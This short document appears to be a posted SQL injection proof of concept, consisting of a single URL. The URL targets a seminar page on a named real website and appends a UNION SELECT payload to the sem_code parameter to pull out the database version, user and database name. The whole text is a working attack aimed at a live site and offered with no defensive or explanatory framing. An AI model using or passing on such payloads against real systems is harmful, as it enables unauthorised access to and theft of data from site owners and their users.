Code:
http://www.carhs.de/en/training/seminar_functions.php?sem_code=-2045'+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+